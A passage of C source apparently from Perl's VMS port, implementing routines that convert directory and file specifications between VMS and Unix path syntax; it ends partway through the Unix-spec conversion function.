** tounixpath() - convert a directory spec into a Unix-style path.
** tovmspath() - convert a directory spec into a VMS-style path.
** tounixspec() - convert any file spec into a Unix-style file spec.
** tovmsspec() - convert any file spec into a VMS-style spec.
** xxxxx_utf8() - Variants that support UTF8 encoding of Unix-Style file spec.
**
** Copyright 1996 by Charles Bailey <[email protected]>
** Permission is given to distribute this code as part of the Perl
** standard distribution under the terms of the GNU General Public
** License or the Perl Artistic License. Copies of each may be
** found in the Perl standard distribution.
*/
/*{{{ char * int_fileify_dirspec[_ts](char *dir, char *buf, int * utf8_fl)*/
static char *
int_fileify_dirspec(const char *dir, char *buf, int *utf8_fl)
{
unsigned long int dirlen, retlen, hasfilename = 0;
char *cp1, *cp2, *lastdir;
char *trndir, *vmsdir;
unsigned short int trnlnm_iter_count;
int sts;
if (utf8_fl != NULL)
*utf8_fl = 0;
if (!dir || !*dir) {
set_errno(EINVAL); set_vaxc_errno(SS$_BADPARAM); return NULL;
}
dirlen = strlen(dir);
while (dirlen && dir[dirlen-1] == '/') --dirlen;
if (!dirlen) { /* We had Unixish '/' -- substitute top of current tree */
if (!DECC_POSIX_COMPLIANT_PATHNAMES && DECC_DISABLE_POSIX_ROOT) {
dir = "/sys$disk";
dirlen = 9;
}
else
dirlen = 1;
}
if (dirlen > (VMS_MAXRSS - 1)) {
set_errno(ENAMETOOLONG); set_vaxc_errno(RMS$_SYN);
return NULL;
}
trndir = (char *)PerlMem_malloc(VMS_MAXRSS + 1);
if (trndir == NULL) _ckvmssts_noperl(SS$_INSFMEM);
if (!strpbrk(dir+1,"/]>:") &&
(!DECC_POSIX_COMPLIANT_PATHNAMES && DECC_DISABLE_POSIX_ROOT)) {
strcpy(trndir,*dir == '/' ? dir + 1: dir);
trnlnm_iter_count = 0;
while (!strpbrk(trndir,"/]>:") && simple_trnlnm(trndir,trndir,VMS_MAXRSS-1)) {
trnlnm_iter_count++;
if (trnlnm_iter_count >= PERL_LNM_MAX_ITER) break;
}
dirlen = strlen(trndir);
}
else {
memcpy(trndir, dir, dirlen);
trndir[dirlen] = '\0';
}
/* At this point we are done with *dir and use *trndir which is a
* copy that can be modified. *dir must not be modified.
*/
/* If we were handed a rooted logical name or spec, treat it like a
* simple directory, so that
* $ Define myroot dev:[dir.]
* ... do_fileify_dirspec("myroot",buf,1) ...
* does something useful.
*/
if (dirlen >= 2 && strEQ(trndir+dirlen-2,".]")) {
trndir[--dirlen] = '\0';
trndir[dirlen-1] = ']';
}
if (dirlen >= 2 && strEQ(trndir+dirlen-2,".>")) {
trndir[--dirlen] = '\0';
trndir[dirlen-1] = '>';
}
if ((cp1 = strrchr(trndir,']')) != NULL || (cp1 = strrchr(trndir,'>')) != NULL) {
/* If we've got an explicit filename, we can just shuffle the string. */
if (*(cp1+1)) hasfilename = 1;
/* Similarly, we can just back up a level if we've got multiple levels
of explicit directories in a VMS spec which ends with directories. */
else {
for (cp2 = cp1; cp2 > trndir; cp2--) {
if (*cp2 == '.') {
if ((cp2 - 1 > trndir) && (*(cp2 - 1) != '^')) {
/* fix-me, can not scan EFS file specs backward like this */
*cp2 = *cp1; *cp1 = '\0';
hasfilename = 1;
break;
}
}
if (*cp2 == '[' || *cp2 == '<') break;
}
}
}
vmsdir = (char *)PerlMem_malloc(VMS_MAXRSS + 1);
if (vmsdir == NULL) _ckvmssts_noperl(SS$_INSFMEM);
cp1 = strpbrk(trndir,"]:>");
if (cp1 && *(cp1+1) == ':') /* DECNet node spec with :: */
cp1 = strpbrk(cp1+2,"]:>");
if (hasfilename || !cp1) { /* filename present or not VMS */
if (trndir[0] == '.') {
if (trndir[1] == '\0' || (trndir[1] == '/' && trndir[2] == '\0')) {
PerlMem_free(trndir);
PerlMem_free(vmsdir);
return int_fileify_dirspec("[]", buf, NULL);
}
else if (trndir[1] == '.' &&
(trndir[2] == '\0' || (trndir[2] == '/' && trndir[3] == '\0'))) {
PerlMem_free(trndir);
PerlMem_free(vmsdir);
return int_fileify_dirspec("[-]", buf, NULL);
}
}
if (dirlen && trndir[dirlen-1] == '/') { /* path ends with '/'; just add .dir;1 */
dirlen -= 1; /* to last element */
lastdir = strrchr(trndir,'/');
}
else if ((cp1 = strstr(trndir,"/.")) != NULL) {
/* If we have "/." or "/..", VMSify it and let the VMS code
* below expand it, rather than repeating the code to handle
* relative components of a filespec here */
do {
if (*(cp1+2) == '.') cp1++;
if (*(cp1+2) == '/' || *(cp1+2) == '\0') {
char * ret_chr;
if (int_tovmsspec(trndir, vmsdir, 0, utf8_fl) == NULL) {
PerlMem_free(trndir);
PerlMem_free(vmsdir);
return NULL;
}
if (strchr(vmsdir,'/') != NULL) {
/* If int_tovmsspec() returned it, it must have VMS syntax
* delimiters in it, so it's a mixed VMS/Unix spec. We take
* the time to check this here only so we avoid a recursion
* loop; otherwise, gigo.
*/
PerlMem_free(trndir);
PerlMem_free(vmsdir);
set_errno(EINVAL); set_vaxc_errno(RMS$_SYN);
return NULL;
}
if (int_fileify_dirspec(vmsdir, trndir, NULL) == NULL) {
PerlMem_free(trndir);
PerlMem_free(vmsdir);
return NULL;
}
ret_chr = int_tounixspec(trndir, buf, utf8_fl);
PerlMem_free(trndir);
PerlMem_free(vmsdir);
return ret_chr;
}
cp1++;
} while ((cp1 = strstr(cp1,"/.")) != NULL);
lastdir = strrchr(trndir,'/');
}
else if (dirlen >= 7 && strEQ(&trndir[dirlen-7],"/000000")) {
char * ret_chr;
/* Ditto for specs that end in an MFD -- let the VMS code
* figure out whether it's a real device or a rooted logical. */
/* This should not happen any more. Allowing the fake /000000
* in a UNIX pathname causes all sorts of problems when trying
* to run in UNIX emulation. So the VMS to UNIX conversions
* now remove the fake /000000 directories.
*/
trndir[dirlen] = '/'; trndir[dirlen+1] = '\0';
if (int_tovmsspec(trndir, vmsdir, 0, NULL) == NULL) {
PerlMem_free(trndir);
PerlMem_free(vmsdir);
return NULL;
}
if (int_fileify_dirspec(vmsdir, trndir, NULL) == NULL) {
PerlMem_free(trndir);
PerlMem_free(vmsdir);
return NULL;
}
ret_chr = int_tounixspec(trndir, buf, utf8_fl);
PerlMem_free(trndir);
PerlMem_free(vmsdir);
return ret_chr;
}
else {
if ( !(lastdir = cp1 = strrchr(trndir,'/')) &&
!(lastdir = cp1 = strrchr(trndir,']')) &&
!(lastdir = cp1 = strrchr(trndir,'>'))) cp1 = trndir;
cp2 = strrchr(cp1,'.');
if (cp2) {
int e_len, vs_len = 0;
int is_dir = 0;
char * cp3;
cp3 = strchr(cp2,';');
e_len = strlen(cp2);
if (cp3) {
vs_len = strlen(cp3);
e_len = e_len - vs_len;
}
is_dir = is_dir_ext(cp2, e_len, cp3, vs_len);
if (!is_dir) {
if (!DECC_EFS_CHARSET) {
/* If this is not EFS, then not a directory */
PerlMem_free(trndir);
PerlMem_free(vmsdir);
set_errno(ENOTDIR);
set_vaxc_errno(RMS$_DIR);
return NULL;
}
} else {
/* Ok, here we have an issue, technically if a .dir shows */
/* from inside a directory, then we should treat it as */
/* xxx^.dir.dir. But we do not have that context at this */
/* point unless this is totally restructured, so we remove */
/* The .dir for now, and fix this better later */
dirlen = cp2 - trndir;
}
if (DECC_EFS_CHARSET && !strchr(trndir,'/')) {
/* Dots are allowed in dir names, so escape them if input not in Unix syntax. */
char *cp4 = is_dir ? (cp2 - 1) : cp2;
for (; cp4 > cp1; cp4--) {
if (*cp4 == '.') {
if ((cp4 - 1 > trndir) && (*(cp4 - 1) != '^')) {
memmove(cp4 + 1, cp4, trndir + dirlen - cp4 + 1);
*cp4 = '^';
dirlen++;
}
}
}
}
}
}
retlen = dirlen + 6;
memcpy(buf, trndir, dirlen);
buf[dirlen] = '\0';
/* We've picked up everything up to the directory file name.
Now just add the type and version, and we're set. */
if ((!DECC_EFS_CASE_PRESERVE) && vms_process_case_tolerant)
strcat(buf,".dir");
else
strcat(buf,".DIR");
if (!DECC_FILENAME_UNIX_NO_VERSION)
strcat(buf,";1");
PerlMem_free(trndir);
PerlMem_free(vmsdir);
return buf;
}
else { /* VMS-style directory spec */
char *esa, *esal, term, *cp;
char *my_esa;
int my_esa_len;
unsigned long int cmplen, haslower = 0;
struct FAB dirfab = cc$rms_fab;
rms_setup_nam(savnam);
rms_setup_nam(dirnam);
esa = (char *)PerlMem_malloc(NAM$C_MAXRSS + 1);
if (esa == NULL) _ckvmssts_noperl(SS$_INSFMEM);
esal = NULL;
#if defined(NAML$C_MAXRSS)
esal = (char *)PerlMem_malloc(VMS_MAXRSS);
if (esal == NULL) _ckvmssts_noperl(SS$_INSFMEM);
#endif
rms_set_fna(dirfab, dirnam, trndir, strlen(trndir));
rms_bind_fab_nam(dirfab, dirnam);
rms_set_dna(dirfab, dirnam, ".DIR;1", 6);
rms_set_esal(dirnam, esa, NAM$C_MAXRSS, esal, (VMS_MAXRSS - 1));
#ifdef NAM$M_NO_SHORT_UPCASE
if (DECC_EFS_CASE_PRESERVE)
rms_set_nam_nop(dirnam, NAM$M_NO_SHORT_UPCASE);
#endif
for (cp = trndir; *cp; cp++)
if (islower(*cp)) { haslower = 1; break; }
if (!((sts = sys$parse(&dirfab)) & STS$K_SUCCESS)) {
if ((dirfab.fab$l_sts == RMS$_DIR) ||
(dirfab.fab$l_sts == RMS$_DNF) ||
(dirfab.fab$l_sts == RMS$_PRV)) {
rms_set_nam_nop(dirnam, NAM$M_SYNCHK);
sts = sys$parse(&dirfab);
}
if (!sts) {
PerlMem_free(esa);
if (esal != NULL)
PerlMem_free(esal);
PerlMem_free(trndir);
PerlMem_free(vmsdir);
set_errno(EVMSERR);
set_vaxc_errno(dirfab.fab$l_sts);
return NULL;
}
}
else {
savnam = dirnam;
/* Does the file really exist? */
if (sys$search(&dirfab)& STS$K_SUCCESS) {
/* Yes; fake the fnb bits so we'll check type below */
rms_set_nam_fnb(dirnam, (NAM$M_EXP_TYPE | NAM$M_EXP_VER));
}
else { /* No; just work with potential name */
if (dirfab.fab$l_sts == RMS$_FNF
|| dirfab.fab$l_sts == RMS$_DNF
|| dirfab.fab$l_sts == RMS$_FND)
dirnam = savnam;
else {
int fab_sts;
fab_sts = dirfab.fab$l_sts;
sts = rms_free_search_context(&dirfab);
PerlMem_free(esa);
if (esal != NULL)
PerlMem_free(esal);
PerlMem_free(trndir);
PerlMem_free(vmsdir);
set_errno(EVMSERR); set_vaxc_errno(fab_sts);
return NULL;
}
}
}
/* Make sure we are using the right buffer */
#if defined(NAML$C_MAXRSS)
if (esal != NULL) {
my_esa = esal;
my_esa_len = rms_nam_esll(dirnam);
} else {
#endif
my_esa = esa;
my_esa_len = rms_nam_esl(dirnam);
#if defined(NAML$C_MAXRSS)
}
#endif
my_esa[my_esa_len] = '\0';
if (!rms_is_nam_fnb(dirnam, (NAM$M_EXP_DEV | NAM$M_EXP_DIR))) {
cp1 = strchr(my_esa,']');
if (!cp1) cp1 = strchr(my_esa,'>');
if (cp1) { /* Should always be true */
my_esa_len -= cp1 - my_esa - 1;
memmove(my_esa, cp1 + 1, my_esa_len);
}
}
if (rms_is_nam_fnb(dirnam, NAM$M_EXP_TYPE)) { /* Was type specified? */
/* Yep; check version while we're at it, if it's there. */
cmplen = rms_is_nam_fnb(dirnam, NAM$M_EXP_VER) ? 6 : 4;
if (strnNE(rms_nam_typel(dirnam), ".DIR;1", cmplen)) {
/* Something other than .DIR[;1]. Bzzt. */
sts = rms_free_search_context(&dirfab);
PerlMem_free(esa);
if (esal != NULL)
PerlMem_free(esal);
PerlMem_free(trndir);
PerlMem_free(vmsdir);
set_errno(ENOTDIR);
set_vaxc_errno(RMS$_DIR);
return NULL;
}
}
if (rms_is_nam_fnb(dirnam, NAM$M_EXP_NAME)) {
/* They provided at least the name; we added the type, if necessary, */
my_strlcpy(buf, my_esa, VMS_MAXRSS);
sts = rms_free_search_context(&dirfab);
PerlMem_free(trndir);
PerlMem_free(esa);
if (esal != NULL)
PerlMem_free(esal);
PerlMem_free(vmsdir);
return buf;
}
if ((cp1 = strstr(esa,".][000000]")) != NULL) {
for (cp2 = cp1 + 9; *cp2; cp1++,cp2++) *cp1 = *cp2;
*cp1 = '\0';
my_esa_len -= 9;
}
if ((cp1 = strrchr(my_esa,']')) == NULL) cp1 = strrchr(my_esa,'>');
if (cp1 == NULL) { /* should never happen */
sts = rms_free_search_context(&dirfab);
PerlMem_free(trndir);
PerlMem_free(esa);
if (esal != NULL)
PerlMem_free(esal);
PerlMem_free(vmsdir);
return NULL;
}
term = *cp1;
*cp1 = '\0';
retlen = strlen(my_esa);
cp1 = strrchr(my_esa,'.');
/* ODS-5 directory specifications can have extra "." in them. */
/* Fix-me, can not scan EFS file specifications backwards */
while (cp1 != NULL) {
if ((cp1-1 == my_esa) || (*(cp1-1) != '^'))
break;
else {
cp1--;
while ((cp1 > my_esa) && (*cp1 != '.'))
cp1--;
}
if (cp1 == my_esa)
cp1 = NULL;
}
if ((cp1) != NULL) {
/* There's more than one directory in the path. Just roll back. */
*cp1 = term;
my_strlcpy(buf, my_esa, VMS_MAXRSS);
}
else {
if (rms_is_nam_fnb(dirnam, NAM$M_ROOT_DIR)) {
/* Go back and expand rooted logical name */
rms_set_nam_nop(dirnam, NAM$M_SYNCHK | NAM$M_NOCONCEAL);
#ifdef NAM$M_NO_SHORT_UPCASE
if (DECC_EFS_CASE_PRESERVE)
rms_set_nam_nop(dirnam, NAM$M_NO_SHORT_UPCASE);
#endif
if (!(sys$parse(&dirfab) & STS$K_SUCCESS)) {
sts = rms_free_search_context(&dirfab);
PerlMem_free(esa);
if (esal != NULL)
PerlMem_free(esal);
PerlMem_free(trndir);
PerlMem_free(vmsdir);
set_errno(EVMSERR);
set_vaxc_errno(dirfab.fab$l_sts);
return NULL;
}
/* This changes the length of the string of course */
if (esal != NULL) {
my_esa_len = rms_nam_esll(dirnam);
} else {
my_esa_len = rms_nam_esl(dirnam);
}
retlen = my_esa_len - 9; /* esa - '][' - '].DIR;1' */
cp1 = strstr(my_esa,"][");
if (!cp1) cp1 = strstr(my_esa,"]<");
dirlen = cp1 - my_esa;
memcpy(buf, my_esa, dirlen);
if (strBEGINs(cp1+2,"000000]")) {
buf[dirlen-1] = '\0';
/* fix-me Not full ODS-5, just extra dots in directories for now */
cp1 = buf + dirlen - 1;
while (cp1 > buf)
{
if (*cp1 == '[')
break;
if (*cp1 == '.') {
if (*(cp1-1) != '^')
break;
}
cp1--;
}
if (*cp1 == '.') *cp1 = ']';
else {
memmove(cp1+8, cp1+1, buf+dirlen-cp1);
memmove(cp1+1,"000000]",7);
}
}
else {
memmove(buf+dirlen, cp1+2, retlen-dirlen);
buf[retlen] = '\0';
/* Convert last '.' to ']' */
cp1 = buf+retlen-1;
while (*cp != '[') {
cp1--;
if (*cp1 == '.') {
/* Do not trip on extra dots in ODS-5 directories */
if ((cp1 == buf) || (*(cp1-1) != '^'))
break;
}
}
if (*cp1 == '.') *cp1 = ']';
else {
memmove(cp1+8, cp1+1, buf+dirlen-cp1);
memmove(cp1+1,"000000]",7);
}
}
}
else { /* This is a top-level dir. Add the MFD to the path. */
cp1 = strrchr(my_esa, ':');
assert(cp1);
memmove(buf, my_esa, cp1 - my_esa + 1);
memmove(buf + (cp1 - my_esa) + 1, "[000000]", 8);
memmove(buf + (cp1 - my_esa) + 9, cp1 + 2, retlen - (cp1 - my_esa + 2));
buf[retlen + 7] = '\0'; /* We've inserted '000000]' */
}
}
sts = rms_free_search_context(&dirfab);
/* We've set up the string up through the filename. Add the
type and version, and we're done. */
strcat(buf,".DIR;1");
/* $PARSE may have upcased filespec, so convert output to lower
* case if input contained any lowercase characters. */
if (haslower && !DECC_EFS_CASE_PRESERVE) __mystrtolower(buf);
PerlMem_free(trndir);
PerlMem_free(esa);
if (esal != NULL)
PerlMem_free(esal);
PerlMem_free(vmsdir);
return buf;
}
} /* end of int_fileify_dirspec() */
/*{{{ char *fileify_dirspec[_ts](char *dir, char *buf, int * utf8_fl)*/
static char *
mp_do_fileify_dirspec(pTHX_ const char *dir,char *buf,int ts, int *utf8_fl)
{
static char __fileify_retbuf[VMS_MAXRSS];
char * fileified, *ret_spec, *ret_buf;
fileified = NULL;
ret_buf = buf;
if (ret_buf == NULL) {
if (ts) {
Newx(fileified, VMS_MAXRSS, char);
if (fileified == NULL)
_ckvmssts(SS$_INSFMEM);
ret_buf = fileified;
} else {
ret_buf = __fileify_retbuf;
}
}
ret_spec = int_fileify_dirspec(dir, ret_buf, utf8_fl);
if (ret_spec == NULL) {
/* Cleanup on isle 5, if this is thread specific we need to deallocate */
if (fileified)
Safefree(fileified);
}
return ret_spec;
} /* end of do_fileify_dirspec() */
/*}}}*/
/* External entry points */
char *
Perl_fileify_dirspec(pTHX_ const char *dir, char *buf)
{
return do_fileify_dirspec(dir, buf, 0, NULL);
}
char *
Perl_fileify_dirspec_ts(pTHX_ const char *dir, char *buf)
{
return do_fileify_dirspec(dir, buf, 1, NULL);
}
char *
Perl_fileify_dirspec_utf8(pTHX_ const char *dir, char *buf, int * utf8_fl)
{
return do_fileify_dirspec(dir, buf, 0, utf8_fl);
}
char *
Perl_fileify_dirspec_utf8_ts(pTHX_ const char *dir, char *buf, int * utf8_fl)
{
return do_fileify_dirspec(dir, buf, 1, utf8_fl);
}
static char *
int_pathify_dirspec_simple(const char * dir, char * buf,
char * v_spec, int v_len, char * r_spec, int r_len,
char * d_spec, int d_len, char * n_spec, int n_len,
char * e_spec, int e_len, char * vs_spec, int vs_len)
{
/* VMS specification - Try to do this the simple way */
if ((v_len + r_len > 0) || (d_len > 0)) {
int is_dir;
/* No name or extension component, already a directory */
if ((n_len + e_len + vs_len) == 0) {
strcpy(buf, dir);
return buf;
}
/* Special case, we may get [.foo]bar instead of [.foo]bar.dir */
/* This results from catfile() being used instead of catdir() */
/* So even though it should not work, we need to allow it */
/* If this is .DIR;1 then do a simple conversion */
is_dir = is_dir_ext(e_spec, e_len, vs_spec, vs_len);
if (is_dir || (e_len == 0) && (d_len > 0)) {
int len;
len = v_len + r_len + d_len - 1;
char dclose = d_spec[d_len - 1];
memcpy(buf, dir, len);
buf[len] = '.';
len++;
memcpy(&buf[len], n_spec, n_len);
len += n_len;
buf[len] = dclose;
buf[len + 1] = '\0';
return buf;
}
#ifdef HAS_SYMLINK
else if (d_len > 0) {
/* In the olden days, a directory needed to have a .DIR */
/* extension to be a valid directory, but now it could */
/* be a symbolic link */
int len;
len = v_len + r_len + d_len - 1;
char dclose = d_spec[d_len - 1];
memcpy(buf, dir, len);
buf[len] = '.';
len++;
memcpy(&buf[len], n_spec, n_len);
len += n_len;
if (e_len > 0) {
if (DECC_EFS_CHARSET) {
if (e_len == 4
&& (toUPPER_A(e_spec[1]) == 'D')
&& (toUPPER_A(e_spec[2]) == 'I')
&& (toUPPER_A(e_spec[3]) == 'R')) {
/* Corner case: directory spec with invalid version.
* Valid would have followed is_dir path above.
*/
SETERRNO(ENOTDIR, RMS$_DIR);
return NULL;
}
else {
buf[len] = '^';
len++;
memcpy(&buf[len], e_spec, e_len);
len += e_len;
}
}
else {
SETERRNO(ENOTDIR, RMS$_DIR);
return NULL;
}
}
buf[len] = dclose;
buf[len + 1] = '\0';
return buf;
}
#else
else {
set_vaxc_errno(RMS$_DIR);
set_errno(ENOTDIR);
return NULL;
}
#endif
}
set_vaxc_errno(RMS$_DIR);
set_errno(ENOTDIR);
return NULL;
}
/* Internal routine to make sure or convert a directory to be in a */
/* path specification. No utf8 flag because it is not changed or used */
static char *
int_pathify_dirspec(const char *dir, char *buf)
{
char * v_spec, * r_spec, * d_spec, * n_spec, * e_spec, * vs_spec;
int sts, v_len, r_len, d_len, n_len, e_len, vs_len;
char * exp_spec, *ret_spec;
char * trndir;
unsigned short int trnlnm_iter_count;
STRLEN trnlen;
int need_to_lower;
if (vms_debug_fileify) {
if (dir == NULL)
fprintf(stderr, "int_pathify_dirspec: dir = NULL\n");
else
fprintf(stderr, "int_pathify_dirspec: dir = %s\n", dir);
}
/* We may need to lower case the result if we translated */
/* a logical name or got the current working directory */
need_to_lower = 0;
if (!dir || !*dir) {
set_errno(EINVAL);
set_vaxc_errno(SS$_BADPARAM);
return NULL;
}
trndir = (char *)PerlMem_malloc(VMS_MAXRSS);
if (trndir == NULL)
_ckvmssts_noperl(SS$_INSFMEM);
/* If no directory specified use the current default */
if (*dir)
my_strlcpy(trndir, dir, VMS_MAXRSS);
else {
getcwd(trndir, VMS_MAXRSS - 1);
need_to_lower = 1;
}
/* now deal with bare names that could be logical names */
trnlnm_iter_count = 0;
while (!strpbrk(trndir,"/]:>") && !no_translate_barewords
&& simple_trnlnm(trndir, trndir, VMS_MAXRSS)) {
trnlnm_iter_count++;
need_to_lower = 1;
if (trnlnm_iter_count >= PERL_LNM_MAX_ITER)
break;
trnlen = strlen(trndir);
/* Trap simple rooted lnms, and return lnm:[000000] */
if (strEQ(trndir+trnlen-2,".]")) {
my_strlcpy(buf, dir, VMS_MAXRSS);
strcat(buf, ":[000000]");
PerlMem_free(trndir);
if (vms_debug_fileify) {
fprintf(stderr, "int_pathify_dirspec: buf = %s\n", buf);
}
return buf;
}
}
/* At this point we do not work with *dir, but the copy in *trndir */
if (need_to_lower && !DECC_EFS_CASE_PRESERVE) {
/* Legacy mode, lower case the returned value */
__mystrtolower(trndir);
}
/* Some special cases, '..', '.' */
sts = 0;
if ((trndir[0] == '.') && ((trndir[1] == '.') || (trndir[1] == '\0'))) {
/* Force UNIX filespec */
sts = 1;
} else {
/* Is this Unix or VMS format? */
sts = vms_split_path(trndir, &v_spec, &v_len, &r_spec, &r_len,
&d_spec, &d_len, &n_spec, &n_len, &e_spec,
&e_len, &vs_spec, &vs_len);
if (sts == 0) {
/* Just a filename? */
if ((v_len + r_len + d_len) == 0) {
/* Now we have a problem, this could be Unix or VMS */
/* We have to guess. .DIR usually means VMS */
/* In UNIX report mode, the .DIR extension is removed */
/* if one shows up, it is for a non-directory or a directory */
/* in EFS charset mode */
/* So if we are in Unix report mode, assume that this */
/* is a relative Unix directory specification */
sts = 1;
if (!DECC_FILENAME_UNIX_REPORT && DECC_EFS_CHARSET) {
int is_dir;
is_dir = is_dir_ext(e_spec, e_len, vs_spec, vs_len);
if (is_dir) {
/* Traditional mode, assume .DIR is directory */
buf[0] = '[';
buf[1] = '.';
memcpy(&buf[2], n_spec, n_len);
buf[n_len + 2] = ']';
buf[n_len + 3] = '\0';
PerlMem_free(trndir);
if (vms_debug_fileify) {
fprintf(stderr,
"int_pathify_dirspec: buf = %s\n",
buf);
}
return buf;
}
}
}
}
}
if (sts == 0) {
ret_spec = int_pathify_dirspec_simple(trndir, buf,
v_spec, v_len, r_spec, r_len,
d_spec, d_len, n_spec, n_len,
e_spec, e_len, vs_spec, vs_len);
if (ret_spec != NULL) {
PerlMem_free(trndir);
if (vms_debug_fileify) {
fprintf(stderr,
"int_pathify_dirspec: ret_spec = %s\n", ret_spec);
}
return ret_spec;
}
/* Simple way did not work, which means that a logical name */
/* was present for the directory specification. */
/* Need to use an rmsexpand variant to decode it completely */
exp_spec = (char *)PerlMem_malloc(VMS_MAXRSS);
if (exp_spec == NULL)
_ckvmssts_noperl(SS$_INSFMEM);
ret_spec = int_rmsexpand_vms(trndir, exp_spec, PERL_RMSEXPAND_M_LONG);
if (ret_spec != NULL) {
sts = vms_split_path(exp_spec, &v_spec, &v_len,
&r_spec, &r_len, &d_spec, &d_len,
&n_spec, &n_len, &e_spec,
&e_len, &vs_spec, &vs_len);
if (sts == 0) {
ret_spec = int_pathify_dirspec_simple(
exp_spec, buf, v_spec, v_len, r_spec, r_len,
d_spec, d_len, n_spec, n_len,
e_spec, e_len, vs_spec, vs_len);
if ((ret_spec != NULL) && (!DECC_EFS_CASE_PRESERVE)) {
/* Legacy mode, lower case the returned value */
__mystrtolower(ret_spec);
}
} else {
set_vaxc_errno(RMS$_DIR);
set_errno(ENOTDIR);
ret_spec = NULL;
}
}
PerlMem_free(exp_spec);
PerlMem_free(trndir);
if (vms_debug_fileify) {
if (ret_spec == NULL)
fprintf(stderr, "int_pathify_dirspec: ret_spec = NULL\n");
else
fprintf(stderr,
"int_pathify_dirspec: ret_spec = %s\n", ret_spec);
}
return ret_spec;
} else {
/* Unix specification, Could be trivial conversion, */
/* but have to deal with trailing '.dir' or extra '.' */
char * lastdot;
char * lastslash;
int is_dir;
STRLEN dir_len = strlen(trndir);
lastslash = strrchr(trndir, '/');
if (lastslash == NULL)
lastslash = trndir;
else
lastslash++;
lastdot = NULL;
/* '..' or '.' are valid directory components */
is_dir = 0;
if (lastslash[0] == '.') {
if (lastslash[1] == '\0') {
is_dir = 1;
} else if (lastslash[1] == '.') {
if (lastslash[2] == '\0') {
is_dir = 1;
} else {
/* And finally allow '...' */
if ((lastslash[2] == '.') && (lastslash[3] == '\0')) {
is_dir = 1;
}
}
}
}
if (!is_dir) {
lastdot = strrchr(lastslash, '.');
}
if (lastdot != NULL) {
STRLEN e_len;
/* '.dir' is discarded, and any other '.' is invalid */
e_len = strlen(lastdot);
is_dir = is_dir_ext(lastdot, e_len, NULL, 0);
if (is_dir) {
dir_len = dir_len - 4;
}
}
my_strlcpy(buf, trndir, VMS_MAXRSS);
if (buf[dir_len - 1] != '/') {
buf[dir_len] = '/';
buf[dir_len + 1] = '\0';
}
/* Under ODS-2 rules, '.' becomes '_', so fix it up */
if (!DECC_EFS_CHARSET) {
int dir_start = 0;
char * str = buf;
if (str[0] == '.') {
char * dots = str;
int cnt = 1;
while ((dots[cnt] == '.') && (cnt < 3))
cnt++;
if (cnt <= 3) {
if ((dots[cnt] == '\0') || (dots[cnt] == '/')) {
dir_start = 1;
str += cnt;
}
}
}
for (; *str; ++str) {
while (*str == '/') {
dir_start = 1;
*str++;
}
if (dir_start) {
/* Have to skip up to three dots which could be */
/* directories, 3 dots being a VMS extension for Perl */
char * dots = str;
int cnt = 0;
while ((dots[cnt] == '.') && (cnt < 3)) {
cnt++;
}
if (dots[cnt] == '\0')
break;
if ((cnt > 1) && (dots[cnt] != '/')) {
dir_start = 0;
} else {
str += cnt;
}
/* too many dots? */
if ((cnt == 0) || (cnt > 3)) {
dir_start = 0;
}
}
if (!dir_start && (*str == '.')) {
*str = '_';
}
}
}
PerlMem_free(trndir);
ret_spec = buf;
if (vms_debug_fileify) {
if (ret_spec == NULL)
fprintf(stderr, "int_pathify_dirspec: ret_spec = NULL\n");
else
fprintf(stderr,
"int_pathify_dirspec: ret_spec = %s\n", ret_spec);
}
return ret_spec;
}
}
/*{{{ char *pathify_dirspec[_ts](char *path, char *buf)*/
static char *
mp_do_pathify_dirspec(pTHX_ const char *dir,char *buf, int ts, int * utf8_fl)
{
static char __pathify_retbuf[VMS_MAXRSS];
char * pathified, *ret_spec, *ret_buf;
pathified = NULL;
ret_buf = buf;
if (ret_buf == NULL) {
if (ts) {
Newx(pathified, VMS_MAXRSS, char);
if (pathified == NULL)
_ckvmssts(SS$_INSFMEM);
ret_buf = pathified;
} else {
ret_buf = __pathify_retbuf;
}
}
ret_spec = int_pathify_dirspec(dir, ret_buf);
if (ret_spec == NULL) {
/* Cleanup on isle 5, if this is thread specific we need to deallocate */
if (pathified)
Safefree(pathified);
}
return ret_spec;
} /* end of do_pathify_dirspec() */
/* External entry points */
char *
Perl_pathify_dirspec(pTHX_ const char *dir, char *buf)
{
return do_pathify_dirspec(dir, buf, 0, NULL);
}
char *
Perl_pathify_dirspec_ts(pTHX_ const char *dir, char *buf)
{
return do_pathify_dirspec(dir, buf, 1, NULL);
}
char *
Perl_pathify_dirspec_utf8(pTHX_ const char *dir, char *buf, int *utf8_fl)
{
return do_pathify_dirspec(dir, buf, 0, utf8_fl);
}
char *
Perl_pathify_dirspec_utf8_ts(pTHX_ const char *dir, char *buf, int *utf8_fl)
{
return do_pathify_dirspec(dir, buf, 1, utf8_fl);
}
/* Internal tounixspec routine that does not use a thread context */
/*{{{ char *int_tounixspec[_ts](char *spec, char *buf, int *)*/
static char *
int_tounixspec(const char *spec, char *rslt, int * utf8_fl)
{
char *dirend, *cp1, *cp3, *tmp;
const char *cp2;
int dirlen;
unsigned short int trnlnm_iter_count;
int cmp_rslt, outchars_added;
if (utf8_fl != NULL)
*utf8_fl = 0;
if (vms_debug_fileify) {
if (spec == NULL)
fprintf(stderr, "int_tounixspec: spec = NULL\n");
else
fprintf(stderr, "int_tounixspec: spec = %s\n", spec);
}
if (spec == NULL) {
set_errno(EINVAL);
set_vaxc_errno(SS$_BADPARAM);
return NULL;
}
if (strlen(spec) > (VMS_MAXRSS-1)) {
set_errno(E2BIG);
set_vaxc_errno(SS$_BUFFEROVF);
return NULL;
}
/* New VMS specific format needs translation
* glob passes filenames with trailing '\n' and expects this preserved.
*/
if (DECC_POSIX_COMPLIANT_PATHNAMES) {
if (! strBEGINs(spec, "\"^UP^")) {
char * uspec;
char *tunix;
int tunix_len;
int nl_flag;
tunix = (char *)PerlMem_malloc(VMS_MAXRSS);
if (tunix == NULL) _ckvmssts_noperl(SS$_INSFMEM);
tunix_len = my_strlcpy(tunix, spec, VMS_MAXRSS);
nl_flag = 0;
if (tunix[tunix_len - 1] == '\n') {
tunix[tunix_len - 1] = '\"';
tunix[tunix_len] = '\0';
tunix_len--;
nl_flag = 1;
}
uspec = decc$translate_vms(tunix);
PerlMem_free(tunix);
if ((int)uspec > 0) {
my_strlcpy(rslt, uspec, VMS_MAXRSS);
if (nl_flag) {
strcat(rslt,"\n");
}
else {
/* If we can not translate it, makemaker wants as-is */
my_strlcpy(rslt, spec, VMS_MAXRSS);
}
return rslt;
}
}
}
cmp_rslt = 0; /* Presume VMS */
cp1 = strchr(spec, '/');
if (cp1 == NULL)
cmp_rslt = 0;
/* Look for EFS ^/ */
if (DECC_EFS_CHARSET) {
while (cp1 != NULL) {
